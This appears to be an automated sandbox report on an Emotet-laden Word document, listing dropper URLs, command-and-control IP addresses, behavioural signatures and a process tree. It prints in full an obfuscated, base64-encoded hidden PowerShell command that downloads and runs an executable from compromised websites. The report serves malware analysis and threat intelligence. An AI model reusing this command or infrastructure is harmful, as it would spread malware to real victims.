Analysis

  • max time kernel
    28s
  • resource
    win10v191014
  • submitted
    17-01-2020 19:13

General

  • Target

    77a0a8de225a0e6c5933bbf470c5ddc67e19d5ded59985a1e7a1b2316241ccab

  • Sample

    200117-b5sehdw9fs

  • SHA256

    77a0a8de225a0e6c5933bbf470c5ddc67e19d5ded59985a1e7a1b2316241ccab

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://kiziltepeakyuzrehabilitasyon.com/wp-includes/69n2/

exe.dropper

http://sitesetup.cindydonovan.com/wp-admin/81ynglg/

exe.dropper

https://jaberevents.com/y48h/

exe.dropper

https://shopdinhviviettel.com/wp-content/pwhm6p/

exe.dropper

https://marshalgroup.org/wp-content/uploads/dh1/

Extracted

Family

emotet

C2

100.6.23.40:80

200.71.200.4:443

190.114.244.182:443

91.250.96.22:8080

37.187.72.193:8080

104.131.44.150:8080

167.71.10.37:8080

110.36.217.66:8080

206.81.10.215:8080

93.147.141.5:443

60.250.78.22:443

92.222.216.44:8080

95.213.236.64:8080

27.109.153.201:8090

66.7.242.50:8080

5.196.74.210:8080

181.143.126.170:80

209.97.168.52:8080

206.189.112.148:8080

64.53.242.181:8080

rsa_pubkey.plain

Signatures

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious behavior: EmotetMutantsSpam 1 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Drops file in System32 directory 1 IoCs
  • Process spawned unexpected child process 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\77a0a8de225a0e6c5933bbf470c5ddc67e19d5ded59985a1e7a1b2316241ccab.doc" /o ""
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Checks processor information in registry
    • Enumerates system info in registry
    PID:4928
  • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
    Powershell -w hidden -en JABUAHEAcABrAGUAdgB1AGUAcQBuAHQAcwB4AD0AJwBIAHcAZAB1AG8AYwB4AHQAbwAnADsAJABLAHcAcgBhAHUAbgBpAHEAcwBlAHYAcQBoACAAPQAgACcANAAxADYAJwA7ACQAQQBhAGQAegBqAHUAbABkAHIAPQAnAFAAZABxAHMAYgBuAGEAdgBsAGkAbQB4AHkAJwA7ACQASgB4AHMAZgB5AHEAcgB6AGkAdwBpAGQAZwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQASwB3AHIAYQB1AG4AaQBxAHMAZQB2AHEAaAArACcALgBlAHgAZQAnADsAJABRAHYAdgB4AGIAegBlAG8AdQBkAG4APQAnAFgAbABlAG4AdABhAG8AcQB4AGoAJwA7ACQARwBnAGQAZwBlAG8AdgBnAG8AeABvAGIAZQA9AC4AKAAnAG4AJwArACcAZQB3AC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAAbgBFAHQALgB3AEUAYgBjAEwASQBlAE4AdAA7ACQASgB6AGkAbgB0AG0AagBvAGQAPQAnAGgAdAB0AHAAOgAvAC8AawBpAHoAaQBsAHQAZQBwAGUAYQBrAHkAdQB6AHIAZQBoAGEAYgBpAGwAaQB0AGEAcwB5AG8AbgAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8ANgA5AG4AMgAvACoAaAB0AHQAcAA6AC8ALwBzAGkAdABlAHMAZQB0AHUAcAAuAGMAaQBuAGQAeQBkAG8AbgBvAHYAYQBuAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwA4ADEAeQBuAGcAbABnAC8AKgBoAHQAdABwAHMAOgAvAC8AagBhAGIAZQByAGUAdgBlAG4AdABzAC4AYwBvAG0ALwB5ADQAOABoAC8AKgBoAHQAdABwAHMAOgAvAC8AcwBoAG8AcABkAGkAbgBoAHYAaQB2AGkAZQB0AHQAZQBsAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AcAB3AGgAbQA2AHAALwAqAGgAdAB0AHAAcwA6AC8ALwBtAGEAcgBzAGgAYQBsAGcAcgBvAHUAcAAuAG8AcgBnAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHUAcABsAG8AYQBkAHMALwBkAGgAMQAvACcALgAiAFMAcABgAGwAaQBUACIAKAAnACoAJwApADsAJABOAHAAbwB5AG4AZABlAG4AdwA9ACcASAB1AG0AdgBrAHAAdwBvAG4AegBxACcAOwBmAG8AcgBlAGEAYwBoACgAJABHAGUAbgBrAGMAeQB0AHoAeQBwAHQAIABpAG4AIAAkAEoAegBpAG4AdABtAGoAbwBkACkAewB0AHIAeQB7ACQARwBnAGQAZwBlAG8AdgBnAG8AeABvAGIAZQAuACIAZABgAE8AdwBuAEwATwBBAEQARgBgAGkAbABlACIAKAAkAEcAZQBuAGsAYwB5AHQAegB5AHAAdAAsACAAJABKAHgAcwBmAHkAcQByAHoAaQB3AGkAZABnACkAOwAkAEQAegBkAHkAeAB3AHMAbAB6AHIAbgBrAHAAPQAnAFoAaQB6AG8AdAB2AHgAdABnACcAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQASgB4AHMAZgB5AHEAcgB6AGkAdwBpAGQAZwApAC4AIgBMAGUAYABOAGcAYABUAEgAIgAgAC0AZwBlACAAMgAzADcAOQA1ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAYABUAEEAUgB0ACIAKAAkAEoAeABzAGYAeQBxAHIAegBpAHcAaQBkAGcAKQA7ACQAQgB1AGkAZwB4AHMAcAB2AD0AJwBHAHAAegBsAGUAaABkAHoAbAB1AGEAcQBwACcAOwBiAHIAZQBhAGsAOwAkAEMAZABkAGYAZwB4AHQAdAB2AHEAcQBxAGsAPQAnAEEAdQBzAHoAYwBrAG8AaAByAHEAcABnACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEEAbABmAGQAZwB1AHAAbABwAGkAPQAnAFYAZAB1AG8AcQBzAGoAdAB1AGYAeAAnAA==
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Process spawned unexpected child process
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3228
    • C:\Users\Admin\416.exe
      "C:\Users\Admin\416.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4672
      • C:\Users\Admin\416.exe
        --1ec8a4d7
        3⤵
        • Suspicious use of SetWindowsHookEx
        • Executes dropped EXE
        • Suspicious behavior: EmotetMutantsSpam
        • Drops file in System32 directory
        PID:4352

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\416.exe

  • C:\Users\Admin\416.exe

  • C:\Users\Admin\416.exe

  • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-634046074-2673730973-2644684987-1000\0f5007522459c86e95ffcc62f32308f1_293fa5bd-edfb-4bba-800e-a7dce3ea3438

  • memory/4352-11-0x0000000002100000-0x0000000002117000-memory.dmp

    Filesize

    92KB

  • memory/4352-12-0x0000000000400000-0x0000000000457000-memory.dmp

    Filesize

    348KB

  • memory/4672-8-0x0000000000720000-0x0000000000737000-memory.dmp

    Filesize

    92KB